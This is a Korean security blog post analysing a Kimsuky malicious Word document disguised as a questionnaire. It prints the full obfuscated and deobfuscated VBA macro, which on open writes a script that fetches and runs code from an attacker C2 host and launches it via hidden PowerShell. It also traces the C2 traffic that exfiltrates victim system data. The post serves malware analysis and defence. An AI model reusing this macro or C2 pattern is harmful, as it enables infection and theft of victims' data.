악성코드 분석일지 - Kimsuky(남북의 창_질의서.doc)

2022. 9. 16. 00:52보안 연구/Reversing

반응형

본 티스토리 블로그는 모바일 환경에 최적화되어 있습니다.

PC 유저분들은 아래 티스토리 블로그를 이용해 주세요.

 

 

악성코드 분석일지 - Kimsuky(남북의 창_질의서.doc)

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com

 

 

 

안녕하세요, ICMP입니다.

 

이번에 분석할 악성코드는 국가기관을 겨냥한 북한 위장 메일이며,

문서 악성코드의 경우 대부분 내부 취약점을 이용함과 동시에 공격자의 추가적인 payload 및 정보 탈취를 위해

C2 접속 코드도 내장하고 있는 경우가 많습니다.

(공격자 입장에서는 추적이 들어오면 C2 서버만 내리면 간단한 일입니다.)

 

그럼 한번 정밀 분석을 진행해 보도록 하겠습니다.

 

 

1. 수집 파일 정보

 

 

2. 샌드박스 분석 리포트

실행 프로세스 정보를 확인하면 다음과 같습니다.

 

공격자는 윈도우 powershell을 활용하여 공격을 진행하고 있으며 해당 도구는 윈도우 기본 탑재 도구이기에 정상 프로세스를 활용한다는 점, 스크립트 기반이기에 추가적인 PE 파일을 디스크에 저장할 필요 없이 공격 수행이 가능하다는 점을 통해 AV 우회 확률을 높일 수 있었습니다.

 

이와 관련된 기법은 fileless malware, living off the land attack 키워드로 조사하면 보다 자세한 정보를 얻을 수 있습니다.
 

파일리스(Fileless)기법 설명

0. 목차 Contents 0. 목차 1. 소개 1.1 배경 1.2 파일리스(Fileless)기법 1) AVT(Advanced Volatile Threat) 2) 사용 이유 3) 문제점 2. 파일리스(Fileless) 공격 2.1 공격 절차 2.2 Powershell 예제 및 옵션 1) P..

rninche01.tistory.com

 

현재는 c2 서버가 닫혀있기 때문에 추가적인 분석이 불가하지만, 온라인 리포트 정보를 기반으로 추가 분석을 해보도록 하겠습니다.

 

 

3. 정적 분석

ms 워드 문서에서 매크로는 vba 프로젝트로 관리되는데, 바이너리 형태이므로 아래 사이트를 이용하여 내부 스크립트를 추출했습니다.

 

  • vba script(난독화 해제 전)
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GenPlace()
    Set obTmp = Application.Templates
    Dim tmp As Template
    For Each tmp In obTmp
        If tmp.Type = 1 Then
            GenPlace = tmp.Path
            Exit For
        End If
    Next
End Function
Sub Weed(p)
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect p
End Sub

Sub Reserve(pth)
    hs = "or Resume Next:Se"
    cnt = "ct(""Microso"
    Documents.Add
    hs = "On Err" & hs & "t mx = Cre"
    md = "LHTTP""):mx.op"
    md = "ft.XM" & md & "en ""GE"
    cnt = hs & "ateObje" & cnt & md
    hs = "T"", ""htt"
    md = hs & "p:/"
    Set ad = ActiveDocument
    URI = "sectionss.scienceontheweb.net/account"
    md = md & "/" & URI
    ts = "p?query=1"", False:mx.Sen"
    cnt = cnt & md & "/list.ph" & ts & "d:Ex"
    hs = "te(mx.respons"
    cnt = cnt & "ecu" & hs
    cnt = cnt & "eText)"
    
    ad.Range.Text = cnt
    fval = wdFormatText
    ad.SaveAs2 FileName:=pth, FileFormat:=fval
    ad.Close
End Sub

Sub Review(vmod)
    On Error Resume Next
    Set wnd = ActiveWindow
    Set sel = Selection
    wnd.View.SeekView = vmod
    rval = False
    sel.WholeStory
    hm = False
    sel.Font.Hidden = hm
    rval = True
    If rval = True Then
        sel.Collapse
    End If
End Sub

Sub ViewContent()
    Mode = 10
    Do Until Mode < 0
        Review (Mode)
        Mode = Mode - 1
    Loop
End Sub

Sub AutoOpen()
    On Error Resume Next
    myject2 = "32_pr"
    myject = "mts"
    pw = "1qaz2wsx"
    mysject = "winmg"
    mysject1 = "win"
    myject = mysject & myject & ":" & mysject1
    Weed pw
    myject3 = "ocess"
    myject = myject & myject2 & myject3
    Set adom = ActiveDocument
    ins = "w"
    ts = "xe //e:vb"
    With adom.Shapes("mypic")
        cd = " //b "
        .Fill.Solid
        mt = "script"
        Set wm = GetObject(myject)
        ts = ts & mt
        ins = ins & mt & ".e"
        pth = Templates(1).Path & "\version.vbs"
        cd = ins & ts & cd
        .Delete
    End With
    ViewContent
    Reserve pth
    ts1 = "//e:vbscr"
    mt1 = "ipt"
    cd1 = " //b "
    wm.Create "powershell.exe -nop -w hidden -c " & pth
    'wm.Create "calc.exe"
    adom.Save
End Sub
 

 

  • vba script(난독화 해제 후)
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GenPlace()
    Set obTmp = Application.Templates
    Dim tmp As Template
    For Each tmp In obTmp
        If tmp.Type = 1 Then
            GenPlace = tmp.Path
            Exit For
        End If
    Next
End Function
Sub Weed(p)
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect p
End Sub

Sub Reserve(pth)
    Documents.Add
    Set ad = ActiveDocument
    cnt = "On Error Resume Next:Set mx = CreateObject(""Microsoft.XMLHTTP""):mx.open ""GET"", ""http://sectionss.scienceontheweb.net/account/list.php?query=1"", False:mx.Send:Execute(mx.responseText)"
    ad.Range.Text = cnt
    ad.SaveAs2 FileName:=pth, FileFormat:=wdFormatText
    ad.Close
End Sub

Sub Review(vmod)
    On Error Resume Next
    ActiveWindow.View.SeekView = vmod
    Selection.WholeStory
    Selection.Font.Hidden = False
    Selection.Collapse
End Sub

Sub ViewContent()
    Mode = 10
    Do Until Mode < 0
        Review (Mode)
        Mode = Mode - 1
    Loop
End Sub

Sub AutoOpen()
    On Error Resume Next
    pw = "1qaz2wsx"
    Weed pw
    Set adom = ActiveDocument
    With adom.Shapes("mypic")
        .Fill.Solid
        pth = Templates(1).Path & "\version.vbs"
        .Delete
    End With
    ViewContent
    Reserve pth
    GetObject("winmgmts:win32_process").Create "powershell.exe -nop -w hidden -c " & Templates(1).Path & "\version.vbs"
    'GetObject("winmgmts:win32_process").Create "calc.exe"
    adom.Save
End Sub
 

해제한 코드가 일부 오류가 존재합니다만 눈에 띄는 코드 2개가 보입니다.

cnt = "On Error Resume Next:Set mx = CreateObject(""Microsoft.XMLHTTP""):mx.open ""GET"", ""http://sectionss.scienceontheweb.net/account/list.php?query=1"", False:mx.Send:Execute(mx.responseText)"
 
GetObject("winmgmts:win32_process").Create "powershell.exe -nop -w hidden -c " & Templates(1).Path & "\version.vbs"
'GetObject("winmgmts:win32_process").Create "calc.exe"
 

1번 코드는 현재 c2 서버가 닫혀있지만, 샌드박스 리포트의 pcap 로그 정보를 기반으로 분석이 가능하지만 C:\Users\(user_name)\AppData\Roaming\Microsoft\Templates 경로에 존재하는 version.vbs 스크립트와 calc.exe 파일 정보는 추가 확인이 불가능했습니다.

 

추측하기로는 북한 공격 그룹이 사전 공격 대상자에게 심어놓은 파일이거나 c2 서버로부터 받아온 스크립트 실행을 통한 파일 다운로드를 진행한 것 같으며, 정확한 정보를 확인하기 위해 샌드박스 리포트에서 sectionss.scienceontheweb.net 통신 pcap 정보를 확인해 보도록 하겠습니다.

 

 

 

  • GET /account/list.php?query=1 HTTP/1.1

여러 함수들이 송신되는 것을 확인할 수 있는데, 그중에서도 1번째 http 통신의 마지막 부분을 확인하면 다음과 같습니다.

osa_ns.Self.Path & "\OfficeAppManifest_v" 경로에 xml 파일을 생성하며, 정보 탈취 중 에러 발생 시 윈도우 익스플로러로 접속을 유도하기 위함인 것으로 보입니다.

다만, 해당 파일의 생성이나 관련 행위는 샌드박스에서 확인이 불가능했습니다.

다음으로는 (공격자의 서버)lib.php?idx=1 응답 값을 받아온 뒤 GetInfo 함수를 호출하는 것을 확인할 수 있습니다.

 

  • GET /account/lib.php?idx=1 HTTP/1.1

역시, GetInfo 함수의 정의가 존재하며, 본격적인 동작 루틴이 있음을 확인할 수 있습니다.

 

  • POST /account/show.php HTTP/1.1

확인 결과 총 3번의 통신이 있었음을 확인할 수 있었으며, 처음 2번은 공격자가 정보 탈취를 위한 payload?를 로딩 및 실행하는 과정, 마지막 post는 감염자 pc 정보를 탈취함을 확인할 수 있었습니다.

대부분 감염자 PC의 프로세스 정보, 백신과 같은 보호 프로그램 정보, ... 등이었으며 아마도 공격자는 이들을 대상으로 추가 공격을 위한 정보 수집으로 추정됩니다.(APT 공격 시행을 위한 사전 정보 수집 과정 중 일부로 추정됩니다.)

 

base64로 인코딩되어 송신되는 감염자 PC 정보

 

아래는 샌드 박스에서 수집된 C2 통신 패킷 캡처 파일과 일부 통신 확인자료입니다.

27d7e0de-27db-4108-83bc-2a27564ad1ce.pcap
0.07MB

 

스크립트 계열 악성코드는 시그니처로 잡기가 어려워서 외국에서는 어떻게 탐지했는지 확인해 보니 실행 프로세스에서 vbaproject.bin 문자열 헥사 값(76 62 61 50 72 6f 6a 65 63 74 2e 62 69 6e) 검사를 통해 매크로 기능이 실행 중인지 검사하는 방법과 셸 코드의 해시값을 DB화하여 조각들의 일치 여부를 확인하는? 방식이 있었습니다.

 

정확한 내용은 아래 링크를 참고해 주세요.

 

MalwareBazaar | SHA256 a0fddbb638fc4f3ba4cefc0707226e8c01eefd98f78d6a9b4fbca1ba74b21adf

You are about to delete this sample from MalwareBazaar. Do you want to continue?

bazaar.abuse.ch

 

위장 메일의 경우 공격 대상 선정 시 사전 정보 수집 및 치밀한 사회공학설계가 기반이 되므로 일반인이 이를 구별하는 것은 상당히 어려운 일입니다.

그러므로 받은 메일이 악성으로 의심되는 경우 직접 열람은 최대한 피하시고 해당 송신 메일 주소를 검색해 보거나, 메일 내용 미리 보기 기능을 활용해야 하며 공공기관으로 확인되는 경우 사칭 메일인지 확인하기 위해 해당 송신 부서에 직접 유선 확인 연락을 통해 메일 전송 유무를 확인하시는 것이 좋습니다.

기업, 또는 기관의 경우는 악성 파일 및 행위 검출 및 차단을 통한 사전 저지를 위해서는 가급적이면 이메일 솔루션, 호스트 단말제어 제품 등의 정보보호 제품을 도입하는 것이 보다 안전하다고 할 수 있습니다.

 

 

오늘 글은 여기까지입니다.

부족한 분석 보고서 읽어 주셔서 감사드리며, 피드백 언제든지 환영합니다.

감사합니다!!!

 

반응형